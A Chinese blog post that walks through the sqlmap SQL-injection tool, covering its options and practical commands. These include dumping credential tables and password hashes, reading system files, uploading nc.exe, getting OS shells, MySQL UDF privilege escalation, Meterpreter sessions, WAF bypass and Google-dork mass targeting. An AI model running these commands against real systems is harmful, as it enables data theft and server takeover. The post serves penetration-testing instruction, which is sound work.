注入神器sqlmap的使用方法 - JunMo博客

JunMo的博客

2019
记录生活
首页 » 工具使用 » 注入神器sqlmap的使用方法

注入神器sqlmap的使用方法

介绍

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。
可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

下载安装

官方网站:http://sqlmap.org/

下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master

(1)linux下git直接安装

gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

(2)windows下安装

windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。

(3)kali及PentestBox默认安装sqlmap

sqlmap参数详解

使用方法 sqlmap [参数]

 -h,–help  显示基本帮助信息并退出

 -hh    显示高级帮助信息并退出

 –version  显示程序版本信息并退出

目标

在这些选项中必须提供至少有一个确定目标

 -d DIRECT    直接连接数据库的连接字符串

-u URL, –url=URL   目标URL (”http://www.xxxx.com/vuln.php?id=1“),使用-u或者–url

-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标

-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标

-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。

-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个–force-ssl参数来使用,或者可以在Host头后门加上:443

-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)

-c CONFIGFILE       从配置ini文件中加载选项

请求

这些选项可以用来指定如何连接到目标URL

    –method=METHOD  强制使用给定的HTTP方法(例如put)

    --data=DATA   通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users

   –param-del=PARA..  当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

   –cookie=COOKIE     HTTP Cookieheader 值

   –cookie-del=COO..  用来分隔cookie的字符串值

   –load-cookies=L..  Filecontaining cookies in Netscape/wget format

   –drop-set-cookie   IgnoreSet-Cookie header from response

   –user-agent=AGENT  默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent参数来修改,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入

   –random-agent     使用random-agent作为HTTP User-Agent头值

   –host=HOST         HTTP Hostheader value

   –referer=REFERER   sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入

   -H HEADER, –hea..  额外的http头(e.g.”X-Forwarded-For: 127.0.0.1″)

   –headers=HEADERS  可以通过–headers参数来增加额外的http头(e.g.”Accept-Language: fr\nETag: 123″)

   –auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)

   –auth-cred=AUTH..  HTTP 认证凭证(name:password)

   –auth-file=AUTH..  HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

   –ignore-401        Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)

   –ignore-proxy      忽略系统的默认代理设置

   –ignore-redirects忽略重定向的尝试

   –ignore-timeouts   忽略连接超时

   –proxy=PROXY       使用代理服务器连接到目标URL

   –proxy-cred=PRO..  代理认证凭证(name:password)

   –proxy-file=PRO..  从文件加载代理列表

   –tor               使用Tor匿名网络

   –tor-port=TORPORT  设置Tor代理端口

   –tor-type=TORTYPE  设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))

   –check-tor       检查Tor的是否正确使用

   –delay=DELAY   可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

   –timeout=TIMEOUT   可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。

   –retries=RETRIES   当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

   –randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样

   –safe-url=SAFEURL  提供一个安全不错误的连接,每隔一段时间都会去访问一下

   –safe-post=SAFE..  提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。

   –safe-req=SAFER..  从文件中加载安全HTTP请求

   –safe-freq=SAFE..  测试一个给定安全网址的两个访问请求

   –skip-urlencode    跳过URL的有效载荷数据编码

   –csrf-token=CSR..  Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌

   –csrf-url=CSRFURL  URL地址访问提取anti-CSRF令牌

   –force-ssl         强制使用SSL/HTTPS

   –hpp               使用HTTP参数污染的方法

优化

这些选项可用于优化sqlmap性能

-o               打开所有的优化开关

–predict-output    预测普通查询输出

–keep-alive        使用持久HTTP(S)连接

–null-connection   获取页面长度

–threads=THREADS   当前http(s)最大请求数 (默认 1)

注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

   -p TESTPARAMETER    可测试的参数

   –skip=SKIP         跳过对给定参数的测试

   –skip-static       跳过测试不显示为动态的参数

   –param-exclude=..  使用正则表达式排除参数进行测试(e.g. “ses”)

   –dbms=DBMS         强制后端的DBMS为此值

   –dbms-cred=DBMS..  DBMS认证凭证(user:password)

   –os=OS            强制后端的DBMS操作系统为这个值

   –invalid-bignum    使用大数字使值无效

   –invalid-logical   使用逻辑操作使值无效

   –invalid-string    使用随机字符串使值无效

   –no-cast          关闭有效载荷铸造机制

   –no-escape         关闭字符串逃逸机制

   –prefix=PREFIX     注入payload字符串前缀

   –suffix=SUFFIX     注入payload字符串后缀

   –tamper=TAMPER   使用给定的脚本篡改注入数据

检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

  –level=LEVEL     执行测试的等级(1-5,默认为1)

   –risk=RISK       执行测试的风险(0-3,默认为1)

   –string=STRING    查询时有效时在页面匹配字符串

   –not-string=NOT..  当查询求值为无效时匹配的字符串

   –regexp=REGEXP     查询时有效时在页面匹配正则表达式

   –code=CODE       当查询求值为True时匹配的HTTP代码

   –text-only        仅基于在文本内容比较网页

   –titles           仅根据他们的标题进行比较

技巧

 这些选项可用于调整具体的SQL注入测试

 –technique=TECH    SQL注入技术测试(默认BEUST)

   –time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)

   –union-cols=UCOLS  定列范围用于测试UNION查询注入

   –union-char=UCHAR  暴力猜测列的字符数

   –union-from=UFROM  SQL注入UNION查询使用的格式

   –dns-domain=DNS..  DNS泄露攻击使用的域名

   –second-order=S..  URL搜索产生的结果页面

指纹

-f, –fingerprint   执行广泛的DBMS版本指纹检查

枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。

-a, –all           获取所有信息

   -b, –banner        获取数据库管理系统的标识

   –current-user      获取数据库管理系统当前用户

   –current-db        获取数据库管理系统当前数据库

    –hostname         获取数据库服务器的主机名称

   –is-dba            检测DBMS当前用户是否DBA

   –users             枚举数据库管理系统用户

   –passwords         枚举数据库管理系统用户密码哈希

   –privileges        枚举数据库管理系统用户的权限

   –roles            枚举数据库管理系统用户的角色

   –dbs             枚举数据库管理系统数据库

   –tables            枚举的DBMS数据库中的表

   –columns          枚举DBMS数据库表列

   –schema            枚举数据库架构

   –count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap -u url –count -D testdb

   –dump            转储数据库表项

    –dump-all          转储数据库所有表项

   –search           搜索列(S),表(S)和/或数据库名称(S)

   –comments          获取DBMS注释

   -D DB               要进行枚举的指定数据库名

   -T TBL              DBMS数据库表枚举

   -C COL             DBMS数据库表列枚举

   -X EXCLUDECOL     DBMS数据库表不进行枚举

   -U USER           用来进行枚举的数据库用户

   –exclude-sysdbs    枚举表时排除系统数据库

   –pivot-column=P..  Pivot columnname

   –where=DUMPWHERE   Use WHEREcondition while table dumping

   –start=LIMITSTART  获取第一个查询输出数据位置

   –stop=LIMITSTOP   获取最后查询的输出数据

   –first=FIRSTCHAR   第一个查询输出字的字符获取

   –last=LASTCHAR    最后查询的输出字字符获取

   –sql-query=QUERY   要执行的SQL语句

   –sql-shell         提示交互式SQL的shell

   –sql-file=SQLFILE  要执行的SQL文件

暴力

这些选项可以被用来运行暴力检查

 –common-tables     检查存在共同表

 –common-columns    检查存在共同列

用户自定义注入函数

这些选项可以用来创建用户自定义函数

   –udf-inject    注入用户自定义函数

   –shared-lib=SHLIB  共享库的本地路径

访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

   –file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:

sqlmap -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“–file-read “C:/example.exe” -v 1

   –file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件

   –file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

python sqlmap -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1

操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

   –os-cmd=OSCMD   执行操作系统命令(OSCMD)

   –os-shell          交互式的操作系统的shell

   –os-pwn          获取一个OOB shell,meterpreter或VNC

   –os-smbrelay       一键获取一个OOBshell,meterpreter或VNC

   –os-bof           存储过程缓冲区溢出利用

   –priv-esc          数据库进程用户权限提升

   –msf-path=MSFPATH  MetasploitFramework本地的安装路径

   –tmp-path=TMPPATH  远程临时文件目录的绝对路径

linux查看当前用户命令:

sqlmap -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –os-cmd id -v1

Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表

   –reg-read          读一个Windows注册表项值

   –reg-add           写一个Windows注册表项值数据

   –reg-del           删除Windows注册表键值

   –reg-key=REGKEY    Windows注册表键

   –reg-value=REGVAL  Windows注册表项值

   –reg-data=REGDATA  Windows注册表键值数据

   –reg-type=REGTYPE  Windows注册表项值类型

一般选项

这些选项可以用来设置一些一般的工作参数

-s SESSIONFILE     保存和恢复检索会话文件的所有数据

   -t TRAFFICFILE      记录所有HTTP流量到一个文本文件中

   –batch            从不询问用户输入,使用所有默认配置。

   –binary-fields=..  结果字段具有二进制值(e.g.”digest”)

   –charset=CHARSET   强制字符编码

   –crawl=CRAWLDEPTH  从目标URL爬行网站

   –crawl-exclude=..  正则表达式从爬行页中排除

   –csv-del=CSVDEL    限定使用CSV输出 (default”,”)

   –dump-format=DU..  转储数据格式(CSV(default), HTML or SQLITE)

   –eta              显示每个输出的预计到达时间

   –flush-session     刷新当前目标的会话文件

   –forms           解析和测试目标URL表单

    –fresh-queries     忽略在会话文件中存储的查询结果

   –hex             使用DBMS Hex函数数据检索

   –output-dir=OUT..  自定义输出目录路径

   –parse-errors      解析和显示响应数据库错误信息

   –save=SAVECONFIG   保存选项到INI配置文件

   –scope=SCOPE    从提供的代理日志中使用正则表达式过滤目标

   –test-filter=TE..  选择测试的有效载荷和/或标题(e.g. ROW)

   –test-skip=TEST..  跳过试验载荷和/或标题(e.g.BENCHMARK)

   –update            更新sqlmap
 其他

   -z MNEMONICS        使用短记忆法 (e.g.”flu,bat,ban,tec=EU”)

   –alert=ALERT       发现SQL注入时,运行主机操作系统命令

   –answers=ANSWERS   当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. “quit=N,follow=N”),例如:sqlmap -u”http://192.168.22.128/get_int.php?id=1“–technique=E–answers=”extending=N” –batch

   –beep    发现sql注入时,发出蜂鸣声。

   –cleanup     清除sqlmap注入时在DBMS中产生的udf与表。

   –dependencies      Check formissing (non-core) sqlmap dependencies

   –disable-coloring  默认彩色输出,禁掉彩色输出。

   –gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试

   –identify-waf      进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别

   –mobile     有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

   –offline           Work inoffline mode (only use session data)

   –purge-output     从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

   –skip-waf           跳过WAF/IPS / IDS启发式检测保护

   –smart            进行积极的启发式测试,快速判断为注入的报错点进行注入

   –sqlmap-shell      互动提示一个sqlmapshell

   –tmp-dir=TMPDIR    用于存储临时文件的本地目录

   –web-root=WEBROOT  Web服务器的文档根目录(e.g.”/var/www”)

   –wizard   新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入

实际利用

 sqlmap自动检测

sqlmap -u url

批量检测

将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap-m url.txt”,注意url.txt跟sqlmap在同一个目录下。

数据库相关操作

1.列数据库信息:–dbs

2.web当前使用的数据库–current-db

3.web数据库使用账户–current-user

4.列出sqlserver所有用户 –users

5.数据库账户与密码 –passwords

6.指定库名列出所有表  -D database –tables

-D:指定数据库名称

7.指定库名表名列出所有字段 -D antian365-T admin –columns

-T:指定要列出字段的表

8.指定库名表名字段dump出指定字段

-D xxxxx_com -T admin -C  id,password ,username –dump

-D antian365 -T userb -C”email,Username,userpassword” –dump

  可加双引号,也可不加双引号。

9.导出多少条数据

-D tourdata -T userb -C”email,Username,userpassword” –start 1 –stop 10 –dump 

直连数据库

sqlmap -d”mysql://admin:admin@192.168.21.17:3306/testdb”

数据库相关操作

1.列数据库信息:–dbs

2.web当前使用的数据库–current-db

3.web数据库使用账户–current-user

4.列出sqlserver所有用户 –users

5.数据库账户与密码 –passwords

6.指定库名列出所有表  -D database –tables

-D:指定数据库名称

7.指定库名表名列出所有字段 -D antian365-T admin –columns

-T:指定要列出字段的表

8.指定库名表名字段dump出指定字段

-D xxxxx_com -T admin -C  id,password ,username –dump

-D antian365 -T userb -C”email,Username,userpassword” –dump

  可加双引号,也可不加双引号。

9.导出多少条数据

-D tourdata -T userb -C”email,Username,userpassword” –start 1 –stop 10 –dump

SQLMAP实用技巧

1. URL重写SQL注入测试

value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。

sqlmap -u”http://targeturl/param1/value1*/param2/value2/”

2. 列举并破解密码哈希值

  当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –passwords -v1

3. 获取表中的数据个数

sqlmap -u”http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” –count -Dtestdb

4.对网站xxxxx.com进行漏洞爬取

sqlmap -u “http://www.xxxxx.com“–batch –crawl=3

5.基于布尔SQL注入预估时间

sqlmap -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1“-b –eta

6.使用hex避免字符编码导致数据丢失

sqlmap -u “http://192.168.48.130/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors

7.模拟测试手机环境站点

python sqlmap -u”http://www.target.com/vuln.php?id=1” –mobile

8.智能判断测试

sqlmap -u “http://www.antian365.com/info.php?id=1“–batch –smart

9.结合burpsuite进行注入

(1)burpsuite抓包,需要设置burpsuite记录请求日志

sqlmap -r burpsuite抓包.txt

(2)指定表单注入

sqlmap -u URL –data“username=a&password=a”

10.sqlmap自动填写表单注入

sqlmap -u URL –forms

sqlmap -u URL –forms –dbs

sqlmap -u URL –forms –current-db

sqlmap -u URL –forms -D 数据库名称–tables

sqlmap -u URL –forms -D 数据库名称 -T 表名 –columns

sqlmap -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump

11.读取linux下文件

 sqlmap -u “url” –file /etc/password

12.延时注入

13. sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap:

(1)浏览器打开目标地址http://www.xxxx.com

(2)配置burp代理(127.0.0.1:8080)以拦截请求

(3)点击登录表单的submit按钮

(4)Burp会拦截到了我们的登录POST请求

(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下

(6)运行sqlmap并使用如下命令:

 sqlmap -r post.txt

14.sqlmap cookies注入

sqlmap -u “http://127.0.0.1/base.PHP“–cookies “id=1″  –dbs –level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:

sqlmap -u 注入点URL --cookie"id=xx" --level 3

sqlmap -u url --cookie "id=xx"--level 3 --tables(猜表名)

sqlmap -u url --cookie "id=xx"--level 3 -T 表名 --coiumns

sqlmap -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump​

 15.mysql提权

(1)连接mysql数据打开一个交互shell:

sqlmap -dmysql://root:root@127.0.0.1:3306/test --sql-shell

select@@version;

select @@plugin_dir;

d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\ 

(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

sqlmap -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');​

17.执行shell命令

sqlmap -u “url” –os-cmd=”netuser” /*执行net user命令*/

sqlmap -u “url” –os-shell /*系统交互的shell*/

18.延时注入

sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/

sqlmap –dbs -u"url" –safe-freq /*请求2次*/​

Sqlmap使用经验总结

1 在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.xxxx.com
2 当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
例如:-d mysql://xxxx : 123123 @127.0.0.1:3306/ ORDER
3 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
5 服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。  
6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。  
7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type  
8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用  
10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。”  
11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。
12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定
14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。
用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。
17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
B:Boolean-based blind SQL injection(布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: Inline SQL Injection  (内联注入)
当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间  
18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。  
19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
当我们不想跑路的时候,那么请使用下面内容:    
–start=LIMITSTART  First query output entry to retrieve指定从第几行开始输出,如:
–start=1    
–stop=LIMITSTOP   
Last query output entry to retrieve
指定从第几行停止输出
–stop=10 
–first=FIRSTCHAR  
First query output word character to retrieve
指定从第几个字符开始输出
–first 1    
–last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出–last10
20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。  
23 –batch
在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
–output-dir= 
指定输出路径,方式控制台输出过多,无法查看,也方便记录
–gpage=GOOGLEPAGE
好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
–identify-waf 
进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
–mobile
使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
-user-agent
自己指定
–smart 
智能深度启发式扫描,或许会有惊喜呢。
 –wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。

 

 转载参考自 https://www.freebuf.com/sectool/164608.html

文章如无特别注明均为原创!
本文作者: JunMo
转载或复制请带上本文地址 http://mo60.cn/post-30.html
并注明出处 JunMo博客
原文地址《 注入神器sqlmap的使用方法
发布于2019-7-10
收录状态: [百度未收录][360未收录]

分享到:


打赏

评论

游客

看不清楚?点图切换

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册